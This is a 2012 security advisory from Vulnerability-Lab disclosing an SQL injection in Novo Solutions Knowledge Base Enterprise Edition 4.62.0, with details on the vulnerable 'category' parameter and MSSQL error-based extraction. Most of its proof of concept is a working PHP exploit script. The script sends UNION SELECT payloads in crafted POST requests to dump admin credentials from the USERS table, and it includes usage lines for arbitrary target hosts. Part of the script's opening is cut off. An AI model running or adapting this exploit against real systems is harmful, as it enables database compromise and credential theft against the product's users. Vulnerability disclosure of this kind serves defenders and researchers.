Title: ====== Knowledge Base EE v4.62.0 - SQL Injection Vulnerability Date: ===== 2012-09-11 References: =========== http://www.vulnerability-lab.com/get_content.php?id=702 VL-ID: ===== 702 Common Vulnerability Scoring System: ==================================== 8.5 Introduction: ============= Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings. Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more. (copy from vendor website http://www.novosolutions.com/knowledge-base-software ) Abstract: ========= The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0. Report-Timeline: ================ 2012-09-06: Researcher Notification & Coordination 2012-09-07: Vendor Notification 2012-00-00: Vendor Response/Feedback 2012-00-00: Vendor Fix/Patch 2012-00-00: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Critical Details: ======== A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition 4.62.0. The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands on the affected application dbms without user inter action. The vulnerabilities are located in search module when processing to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms & ASP application compromise. Vulnerable File(s): [+] doadvancedsearch.asp Vulnerable Parameter(s): [+] category Condition [+] selcategory - must be not NULL Proof of Concept: ================= The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account. For demonstration or reproduce ... Note: In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors. In order to exploit this vulnerability we need to use (CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages. Query: CAST(USER_LOGIN AS NVARCHAR(4000) Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int. In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests. 1) { echo "\n".'[+] Exploitation Start \\\ .------. /// (:::::::)(_)():- `------° \\\ Exploit sent /// '."\n"; if(isset($argv[2])) $URI=$argv[2].$URI; echo "[+] URL : ".$argv[1].$argv[2]."\n"; $n=1; foreach($columns as $column){ $evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- "; $evilSQL=str_replace("{column_name}",$column,$evilSQL); $Payload=array( "advsearchwords"=>"sds", "selcategory"=>"19", "category"=>$evilSQL, "operation"=>"%2B", "limit"=>25, "searchtype"=>1, "enableExclude"=>1, "enableInclude"=>1, "daterange"=>0, "id"=>5, "btnAdvanced"=>1, "Lang=>1"); echo $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false); if($Exploit->Retrive_DATA($reply)== null) { echo "[-] Error : Target is not vulnerable\n"; exit(-1);} if($n==1){echo "[+] Extracting Data .... \n\n";} echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n"; $n++; } } else $Exploit->Menu(); Class Exploitcore{ var $hostname,$Port,$Uri; var $dynamic_payload; public function Retrive_DATA($reply){ preg_match_all('#kami::(.*?)::ami#',$reply,$res); return $res[1][0]; } public function Menu(){ $hello=' .-"""-. / _ \ ___ | (212) | /\````````````"""""""\\\""====---.......,,,,,_______ _ \ ^ / \//__________________///__________________)))________)) "-...-" Advanced __-- SQL --__ injection Novo Knowledge Base Credit : Kami Email : Kami@vulnerability-lab.com Website : www.kami.ma Usage> php knowledgebase0day.php host Exemple> php knowledgebase0day.php kbase.target.com Exemple> php knowledgebase0day.php kbase.target.com /foo '; echo $hello; } public function Requestor( $verb = 'GET', /* HTTP Request Method (GET and POST supported) */ $ip, /* Target IP/Hostname */ $port = 80, /* Target TCP port */ $uri = '/', /* Target URI */ $getdata = array(), /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $postdata = array(), /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $cookie = array(), /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */ $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */ $timeout = 1, /* Socket timeout in seconds */ $req_hdr = true, /* Include HTTP request headers */ $res_hdr = true /* Include HTTP response headers */ ) { $ret = ''; $verb = strtoupper($verb); $cookie_str = ''; $getdata_str = count($getdata) ? '?' : ''; $postdata_str = ''; foreach ($getdata as $k => $v) $getdata_str .= urlencode($k) .'='. urlencode($v) . '&'; foreach ($postdata as $k => $v) $postdata_str .= urlencode($k) .'='. urlencode($v) .'&'; foreach ($cookie as $k => $v) $cookie_str .= urlencode($k) .'='. urlencode($v) .'; '; $crlf = "\r\n"; $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf; $req .= 'Host: '. $ip . $crlf; $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf; $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf; $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf; $req .= 'Accept-Encoding: deflate' . $crlf; $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf; foreach ($custom_headers as $k => $v) $req .= $k .': '. $v . $crlf; if (!empty($cookie_str)) $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf; if ($verb == 'POST' && !empty($postdata_str)) { $postdata_str = substr($postdata_str, 0, -1); $req .= 'Connection: Close'. $crlf; $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf; $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf; $req .= $postdata_str; } else { $req .= $crlf; } if ($req_hdr) $ret .= $req; if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false) return "Error $errno: $errstr\n"; // stream_set_timeout($fp, 0, $timeout * 1000); fwrite($fp, $req); while ($line = fgets($fp)) $ret .= $line; fclose ($fp); if (!$res_hdr) $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4); return $ret; } } Risk: ===== The security risk of the sql injection vulnerability is estimated as high. Credits: ======== Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com) [www.kami.ma] Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory -- VULNERABILITY RESEARCH LABORATORY LABORATORY RESEARCH TEAM CONTACT: research@vulnerability-lab.com